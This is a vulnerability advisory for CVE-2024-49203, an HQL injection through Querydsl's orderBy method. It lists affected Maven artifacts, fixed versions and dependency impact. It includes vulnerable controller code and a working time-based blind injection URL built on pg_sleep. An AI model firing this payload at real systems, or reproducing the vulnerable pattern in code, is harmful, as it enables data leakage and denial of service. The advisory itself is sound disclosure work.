CVE-2024-49203
Querydsl vulnerable to HQL injection through orderBy
Description
Summary
The order by method enables injecting HQL queries. This may cause blind HQL injection, which could lead to leakage of sensitive information, and potentially also Denial Of Service. This vulnerability is present since the original querydsl repository(https://github.com/querydsl/querydsl) where it was assigned preliminary CVE identifier CVE-2024-49203.
Details
Vulnerable code may look as follows:
@GetMapping
public List<Test> getProducts(@RequestParam("orderBy") String orderBy) {
JPAQuery<Test> query = new JPAQuery<Test>(entityManager).from(test);
PathBuilder<Test> pathBuilder = new PathBuilder<>(Test.class, "test");
OrderSpecifier order = new OrderSpecifier(Order.ASC, pathBuilder.get(orderBy));
JPAQuery<Test> orderedQuery = query.orderBy(order);
return orderedQuery.fetch();
}
Where vulnerability is either caused by pathBuilder.get(orderBy) or the orderBy(order) method itself, based on where the security checks are expected.
PoC
Full POC code is available in repository: https://github.com/CSIRTTrizna/CVE-2024-49203/ When we take a look at source code shown in Details section the functionality is as follows:
- Create JPAQuery object instance:
JPAQuery<Test> query = new JPAQuery<Test>(entityManager).from(test);
- Create OrderSpecifier object instance:
PathBuilder<Test> pathBuilder = new PathBuilder<>(Test.class, "test");
OrderSpecifier order = new OrderSpecifier(Order.ASC, pathBuilder.get(orderBy));
Where orderBy variable is user provided input.
- order and run the query
JPAQuery<Test> orderedQuery = query.orderBy(order);
orderedQuery.fetch();
When user goes to URL
/products?orderBy=name+INTERSECT+SELECT+t+FROM+Test+t+WHERE+(SELECT+cast(pg_sleep(10) AS text))='2'+ORDER+BY+t.id
The generated query will look something like this:
select test
from Test test
order by test.name INTERSECT SELECT t FROM Test t WHERE (SELECT cast(pg_sleep(10) AS text))='2' ORDER BY t.id asc
Environment
Library versions used in proof of concept to reproduce the vulnerability:
querydsl-jpa: 6.8.0
querydsl-apt: 6.8.0
hibernate-core: 6.1.1.Final
jakarta.persistence-api: 3.1.0
postgresql: 42.7.4
Impact
The vulnerability is HQL injection, so anyone using source code similar to one provided in details is exposed to potentional information leakage and denial of service.
Affected Maven artifacts (4)
| Artifact | Affected versions | Fixed in |
|---|---|---|
| com.querydsl » querydsl-apt | <= 5.1.0 | - |
| com.querydsl » querydsl-jpa | <= 5.1.0 | - |
| io.github.openfeign.querydsl » querydsl-apt | < 5.6.1>= 6.0.0.M1, < 6.10.1 | 5.6.1, 6.10.1 |
| io.github.openfeign.querydsl » querydsl-jpa | < 5.6.1>= 6.0.0.M1, < 6.10.1 | 5.6.1, 6.10.1 |
Blast radius
98% of the dependent artifacts (1,041) still pull an affected version in their latest release.
| Depth | Dependent versions |
|---|---|
| Direct | 11,097 |
| 2 hops | 18,481 |
| 3 hops | 5,481 |
| 4 hops | 2,095 |
| 5 hops | 552 |
| 6 hops | 93 |
Most used dependents
- io.nemesis.platform » nemesis-platform-core97 usages
- org.squashtest.tm » tm.service79 usages
- org.squashtest.tm » tm.domain69 usages
- org.marketcetera » core60 usages
- org.squashtest.tm » core.bugtracker.api45 usages
- org.squashtest.tm » tm.web44 usages
- io.nemesis.platform.module » nemesis-module-commerce38 usages
- io.nemesis.platform.module » nemesis-module-cms32 usages
- cn.herodotus.engine » rest-core26 usages
- io.nemesis.platform.module.widget » nemesis-widget-common26 usages
- be.vlaanderen.omgeving » omv-up-basis25 usages
- org.springframework.data » spring-data-couchbase25 usages
- org.qubership.mockingbird » mockingbird-camel-common22 usages
- cn.herodotus.engine » message-core21 usages
- de.invesdwin » invesdwin-context-integration19 usages
Computed from the dependency graph of build 20261124.0621 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.
References
- Webhttps://github.com/OpenFeign/querydsl/security/advisories/GHSA-6q3q-6v5j-h6vg
- Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2024-49203
- Webhttps://github.com/querydsl/querydsl/issues/3757
- Webhttps://github.com/CSIRTTrizna/CVE-2024-49203
- Packagehttps://github.com/OpenFeign/querydsl
- Webhttps://github.com/OpenFeign/querydsl/releases/tag/5.6.1
- Webhttps://github.com/OpenFeign/querydsl/releases/tag/6.10.1
- Webhttps://github.com/querydsl/querydsl/releases/tag/QUERYDSL_5_1_0
- Webhttps://www.csirt.sk/querydsl-java-library-vulnerability-permits-sql-hql-injection.html
